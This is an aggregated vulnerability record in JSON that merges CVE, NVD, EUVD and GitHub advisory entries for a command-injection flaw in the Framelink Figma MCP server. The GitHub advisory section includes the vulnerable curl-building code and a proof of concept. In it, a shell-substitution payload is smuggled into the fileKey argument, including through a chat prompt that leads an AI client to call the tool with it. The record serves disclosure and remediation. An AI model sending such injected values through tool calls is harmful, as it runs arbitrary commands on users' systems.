{"id":"GHSA-gxw4-4fc5-9gr5","revision":null,"records":[{"revision":"e157cff3d4b749389347ff7d281f6c34","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2025-15061","aliases":[],"title":"Framelink Figma MCP Server fetchWithRetry Command Injection Remote Code Execution Vulnerability","description":"Framelink Figma MCP Server fetchWithRetry Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Framelink Figma MCP Server. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the implementation of the fetchWithRetry method. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-27877.","state":0,"publishedAt":"2026-01-23T03:20:19.025+00:00","modifiedAt":"2026-01-23T19:35:55.33+00:00","affected":[{"ecosystem":"Vendor product","name":"Figma MCP Server","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"Framelink\",\n                    \"product\": \"Figma MCP Server\",\n                    \"versions\": [\n                        {\n                            \"version\": \"72cae181ecf15b85787b9fe3bb14000d80a6b2df\",\n                            \"status\": \"affected\"\n                        }\n                    ],\n                    \"defaultStatus\": \"unknown\"\n                }"}],"metrics":[{"system":"CVSS 3.0","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://www.zerodayinitiative.com/advisories/ZDI-25-1197/","https://github.com/GLips/Figma-Context-MCP/security/advisories/GHSA-gxw4-4fc5-9gr5"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-15061","license":"CVE Program Terms of Use","key":"cve-program:CVE-2025-15061","identifiers":["CVE-2025-15061"]},"retained":false,"historicalAffected":[]},{"revision":"5bb223d9b0d748abb14879b492c1d895","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2025-53967","aliases":[],"title":"Framelink Figma MCP Server before 0.6.3 allows an unauthenticated remote attacker to execute arbitrary operating system commands via a crafted HTTP POST request with shell metacharacters in input that is used by a fetchWithRetry curl comman…","description":"Framelink Figma MCP Server before 0.6.3 allows an unauthenticated remote attacker to execute arbitrary operating system commands via a crafted HTTP POST request with shell metacharacters in input that is used by a fetchWithRetry curl command. The vulnerable endpoint fails to properly sanitize user-supplied input, enabling the attacker to inject malicious commands that are executed with the privileges of the MCP process. Exploitation requires network access to the MCP interface.","state":0,"publishedAt":"2025-10-08T00:00:00+00:00","modifiedAt":"2025-10-08T17:18:20.747+00:00","affected":[{"ecosystem":"Vendor product","name":"Figma MCP Server","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"defaultStatus\": \"unaffected\",\n                    \"product\": \"Figma MCP Server\",\n                    \"vendor\": \"Framelink\",\n                    \"versions\": [\n                        {\n                            \"lessThan\": \"0.6.3\",\n                            \"status\": \"affected\",\n                            \"version\": \"0\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N","score":8,"severity":"HIGH"}],"references":["https://github.com/GLips/Figma-Context-MCP/blob/96b3852669c5eed65e4a6e20406c25504d9196f2/src/utils/fetch-with-retry.ts#L34","https://www.imperva.com/blog/another-critical-rce-discovered-in-a-popular-mcp-server/","https://github.com/GLips/Figma-Context-MCP/releases/tag/v0.6.3"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-53967","license":"CVE Program Terms of Use","key":"cve-program:CVE-2025-53967","identifiers":["CVE-2025-53967"]},"retained":false,"historicalAffected":[]},{"revision":"b0bff4251ace46a99108733077ccf65c","observedAt":"2026-11-11T03:32:22.669+00:00","statement":{"source":"euvd","id":"EUVD-2025-31753","aliases":["CVE-2025-53967","GHSA-gxw4-4fc5-9gr5"],"title":"Framelink Figma MCP Server before 0.6.3 allows an unauthenticated remote attacker to execute arbitrary operating system commands via a crafted HTTP POST request with shell metacharacters in input that is used by a fetchWithRetry curl comman…","description":"Framelink Figma MCP Server before 0.6.3 allows an unauthenticated remote attacker to execute arbitrary operating system commands via a crafted HTTP POST request with shell metacharacters in input that is used by a fetchWithRetry curl command. The vulnerable endpoint fails to properly sanitize user-supplied input, enabling the attacker to inject malicious commands that are executed with the privileges of the MCP process. Exploitation requires network access to the MCP interface.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N","score":8,"severity":null}],"references":["https://github.com/GLips/Figma-Context-MCP/blob/96b3852669c5eed65e4a6e20406c25504d9196f2/src/utils/fetch-with-retry.ts#L34","https://www.imperva.com/blog/another-critical-rce-discovered-in-a-popular-mcp-server/","https://github.com/GLips/Figma-Context-MCP/releases/tag/v0.6.3"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2025-31753","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 8, 2025, 12:00:00 AM","dateUpdated":"Oct 8, 2025, 5:18:20 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2025-31753","identifiers":["EUVD-2025-31753","CVE-2025-53967","GHSA-gxw4-4fc5-9gr5"]},"retained":false,"historicalAffected":[]},{"revision":"c462804cc75c4e07ae7c09d3c38f4e4e","observedAt":"2026-11-11T02:42:37.214+00:00","statement":{"source":"euvd","id":"EUVD-2026-4488","aliases":["CVE-2025-15061","GHSA-8675-cg27-5c39"],"title":"Framelink Figma MCP Server fetchWithRetry Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Framelink Figma MCP Server. Authentication is…","description":"Framelink Figma MCP Server fetchWithRetry Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Framelink Figma MCP Server. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the implementation of the fetchWithRetry method. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-27877.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.0","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":null}],"references":["https://www.zerodayinitiative.com/advisories/ZDI-25-1197/","https://github.com/GLips/Figma-Context-MCP/security/advisories/GHSA-gxw4-4fc5-9gr5"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-4488","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jan 23, 2026, 3:20:19 AM","dateUpdated":"Jan 23, 2026, 7:35:55 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-4488","identifiers":["EUVD-2026-4488","CVE-2025-15061","GHSA-8675-cg27-5c39"]},"retained":false,"historicalAffected":[]},{"revision":"2ebfed3daa7b44ce97e781c28dd8c6a7","observedAt":"2026-10-25T01:17:29.167+00:00","statement":{"source":"nvd","id":"CVE-2025-15061","aliases":[],"title":"Framelink Figma MCP Server fetchWithRetry Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Framelink Figma MCP Server. Authentication is…","description":"Framelink Figma MCP Server fetchWithRetry Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Framelink Figma MCP Server. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the implementation of the fetchWithRetry method. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-27877.","state":0,"publishedAt":"2026-01-23T04:16:00.893+00:00","modifiedAt":"2026-06-17T08:37:02.07+00:00","affected":[],"metrics":[{"system":"CVSS 3.0 · zdi-disclosures@trendmicro.com · Secondary","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/GLips/Figma-Context-MCP/security/advisories/GHSA-gxw4-4fc5-9gr5","https://www.zerodayinitiative.com/advisories/ZDI-25-1197/"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-15061","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-78"],"productCriteria":[],"sourceDates":{"published":"2026-01-23T04:16:00.893","lastModified":"2026-06-17T08:37:02.070"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2025-15061","identifiers":["CVE-2025-15061"]},"retained":false,"historicalAffected":[]},{"revision":"4f68740fc6c54fa8919da294aabb38dd","observedAt":"2026-10-25T02:25:06.051+00:00","statement":{"source":"nvd","id":"CVE-2025-53967","aliases":[],"title":"Framelink Figma MCP Server before 0.6.3 allows an unauthenticated remote attacker to execute arbitrary operating system commands via a crafted HTTP POST request with shell metacharacters in input that is used by a fetchWithRetry curl comman…","description":"Framelink Figma MCP Server before 0.6.3 allows an unauthenticated remote attacker to execute arbitrary operating system commands via a crafted HTTP POST request with shell metacharacters in input that is used by a fetchWithRetry curl command. The vulnerable endpoint fails to properly sanitize user-supplied input, enabling the attacker to inject malicious commands that are executed with the privileges of the MCP process. Exploitation requires network access to the MCP interface.","state":0,"publishedAt":"2025-10-08T17:15:34.507+00:00","modifiedAt":"2026-10-08T13:10:00.2+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · cve@mitre.org · Secondary","vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N","score":8,"severity":"HIGH"}],"references":["https://github.com/GLips/Figma-Context-MCP/blob/96b3852669c5eed65e4a6e20406c25504d9196f2/src/utils/fetch-with-retry.ts#L34","https://github.com/GLips/Figma-Context-MCP/releases/tag/v0.6.3","https://www.imperva.com/blog/another-critical-rce-discovered-in-a-popular-mcp-server/"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-53967","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-420"],"productCriteria":[],"sourceDates":{"published":"2025-10-08T17:15:34.507","lastModified":"2026-10-08T13:10:00.200"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2025-53967","identifiers":["CVE-2025-53967"]},"retained":false,"historicalAffected":[]},{"revision":"b12c8323ca1c43b48356119e6017a484","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-gxw4-4fc5-9gr5","aliases":["CVE-2025-15061","CVE-2025-53967"],"title":"figma-developer-mcp vulnerable to command injection in get_figma_data tool","description":"### Summary\n\nA command injection vulnerability exists in the `figma-developer-mcp` MCP Server. The vulnerability is caused by the unsanitized use of input parameters within a call to `child_process.exec`, enabling an attacker to inject arbitrary system commands. Successful exploitation can lead to remote code execution under the server process's privileges. \n\nThe server constructs and executes shell commands using unvalidated user input directly within command-line strings. This introduces the possibility of shell metacharacter injection (`|`, `>`, `&&`, etc.).\n\n### Details\n\nThe MCP Server exposes tools to perform several figma operations.  An MCP Client can be instructed to execute additional actions for example via indirect prompt injection that can lead to command injection by calling vulnerable tools with malicious inputs. Below some example of vulnerable code and different ways to test this vulnerability.\n\n### Vulnerable code\n\nThe following snippet illustrates the vulnerable code pattern used in the MCP Server’s tooling. \n```js\n// https://github.com/GLips/Figma-Context-MCP/blob/v0.5.2/src/utils/fetch-with-retry.ts#L35\n\nexport async function fetchWithRetry<T>(url: string, options: RequestOptions = {}): Promise<T> {\n  try {\n    const response = await fetch(url, options);\n    ...\n  } catch (fetchError: any) {\n\t...\n    const curlHeaders = formatHeadersForCurl(options.headers);\n    ...\n    const curlCommand = `curl -s -S --fail-with-body -L ${curlHeaders.join(\" \")} \"${url}\"`; //<---\n```\n\n\n#### Using MCP Client IDE\n\n1) Verify the file `/tmp/TEST`1 does **not** exist:\n```\ncat /tmp/TEST1\ncat: /tmp/TEST1: No such file or directory\n```\n\n2) setup your client IDE\n```json\n{\n  \"mcpServers\": {\n    \"Framelink Figma MCP\": {\n      \"command\": \"npx\",\n      \"args\": [\"-y\", \"figma-developer-mcp\", \"--figma-api-key=TEST\", \"--stdio\"]\n    }\n  }\n}\n```\n\n4) open the chat and enter the following prompt:\n```\nGet comprehensive Figma file from fileKey=\"$(id>/tmp/TEST1)\" (do not remove any char) - do not call any other tool\n```\n\n5) run the `get_figma_data` tool\n```json\n{\n  \"fileKey\": \"$(id>/tmp/TEST1)\"\n}\n```\n\n\n6) Confirm that the injected command executed:\n```\ncat /tmp/TEST1\nuid=....\n```\n\n\n#### Using MCP Inspector\n\n1) Open the MCP Inspector:\n```\nnpx @modelcontextprotocol/inspector\n```\n\n2) In MCP Inspector:\n\t- set transport type: `STDIO`\n\t- set the `command` to `npx`\n\t- set the arguments to `figma-developer-mcp --stdio`\n\t- set the `FIGMA_API_KEY` env variable (i.e `TEST`)\n\t- click Connect\n\t- go to the **Tools** tab and click **List Tools**\n\t- select the `get_figma_data` tool\n\n3) Verify the file `/tmp/TEST` does **not** exist:\n```\ncat /tmp/TEST2\ncat: /tmp/TEST: No such file or directory\n```\n\n5) In the **fileKey** field, input:\n```\n$(id>/tmp/TEST2)\n```\n- Click **Run Tool**\n6) Observe the request being sent:\n```json\n{\n  \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"get_figma_data\",\n    \"arguments\": {\n      \"fileKey\": \"$(id>/tmp/TEST2)\"\n    },\n    \"_meta\": {\n      \"progressToken\": 0\n    }\n  }\n}\n```\nOutput:\n```json\n{\n  \"content\": [\n    {\n      \"type\": \"text\",\n      \"text\": \"Error fetching file: Failed to make request to Figma API endpoint '/files/$(id>/tmp/TEST2)': Fetch failed with status 404: Not Found\"\n    }\n  ],\n  \"isError\": true\n}\n```\nLogs:\n```\n[INFO] [fetchWithRetry] Executing curl command: curl -s -S --fail-with-body -L -H \"X-Figma-Token: test\" \"https://api.figma.com/v1/files/$(id>/tmp/TEST2)\"\n```\n7) Confirm that the injected command executed:\n```\ncat /tmp/TEST2\nuid=.....\n```\n\n### Remediation\nTo mitigate this vulnerability, I suggest to avoid using `child_process.exec` with untrusted input. Instead, use a safer API such as [child_process.execFile](https://nodejs.org/api/child_process.html#child_processexecfilefile-args-options-callback), which allows you to pass arguments as a separate array — avoiding shell interpretation entirely.\n\n**NOTE: This mitigation—and others like input validation—have been implemented in versions 0.6.3 and above. To fix the issue, make sure you're using a version >=0.6.3.**\n\n### Impact\n\nCommand Injection / Remote Code Execution (RCE)","state":0,"publishedAt":"2025-09-30T17:01:42+00:00","modifiedAt":"2026-10-08T02:56:07.7541602+00:00","affected":[{"ecosystem":"npm","name":"figma-developer-mcp","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.6.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/GLips/Figma-Context-MCP/security/advisories/GHSA-gxw4-4fc5-9gr5","https://github.com/GLips/Figma-Context-MCP/commit/7f4b5859454b0567c2121ff22c69a0344680b124","https://github.com/GLips/Figma-Context-MCP"],"sourceUrl":"https://github.com/advisories/GHSA-gxw4-4fc5-9gr5","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-gxw4-4fc5-9gr5","identifiers":["GHSA-gxw4-4fc5-9gr5","CVE-2025-15061","CVE-2025-53967"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-11T09:57:43.3267414+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-11T09:57:43.3267414+00:00","lastSuccessAt":"2026-11-11T09:57:46.3036784+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:57:46.3038639+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-de3b77103708811b6494d2ff7c979037d73ae579742cd1649a5c765137ae5083-f19af5e22c13aa688d23829fe96c281d0deaf6cf2f8cee6748f54f5a479127b2","complete":true,"records":424021,"lastAttemptAt":"2026-11-11T09:57:38.9264743+00:00","lastSuccessAt":"2026-11-11T09:25:54.5258746+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:57:38.9264743+00:00","snapshotPublishedAt":"2026-11-11T09:25:28+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-f581ef223ba240a69a1abcff00ee4876","complete":true,"records":13758,"lastAttemptAt":"2026-11-11T09:58:42.1822037+00:00","lastSuccessAt":"2026-11-11T09:58:42.065+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:58:42.065+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13812,"expectedIdentifiers":13812,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-11T09:57:43.3267414+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-11T09:57:43.3267414+00:00","lastSuccessAt":"2026-11-11T09:57:52.273871+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:57:52.273872+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-304fa97221904da4b3dcd306fc4b8a4b","complete":true,"records":13752,"lastAttemptAt":"2026-11-11T09:57:53.9573384+00:00","lastSuccessAt":"2026-11-11T09:26:01.454+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:26:01.454+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13812,"expectedIdentifiers":13812,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-11T09:57:42.4406155+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:57:42.4406155+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-11T09:57:39.9639043+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:57:39.9639043+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-2bc186fc4a8179fd66d765079d475b0b8e3af9f89b57dcc310e7773ded48b2cc","complete":true,"records":3088,"lastAttemptAt":"2026-11-11T09:57:43.196106+00:00","lastSuccessAt":"2026-11-11T09:25:59.9234294+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:57:43.196106+00:00","snapshotPublishedAt":"2026-11-11T09:02:55+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-085e065fc9050ae18408f7e722c39653aeb186872334d7b3ec1fcafb7ed43d25","complete":true,"records":231665,"lastAttemptAt":"2026-11-11T09:57:41.7897107+00:00","lastSuccessAt":"2026-11-11T08:27:45.2700102+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:57:41.7897107+00:00","snapshotPublishedAt":"2026-11-11T07:32:59+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}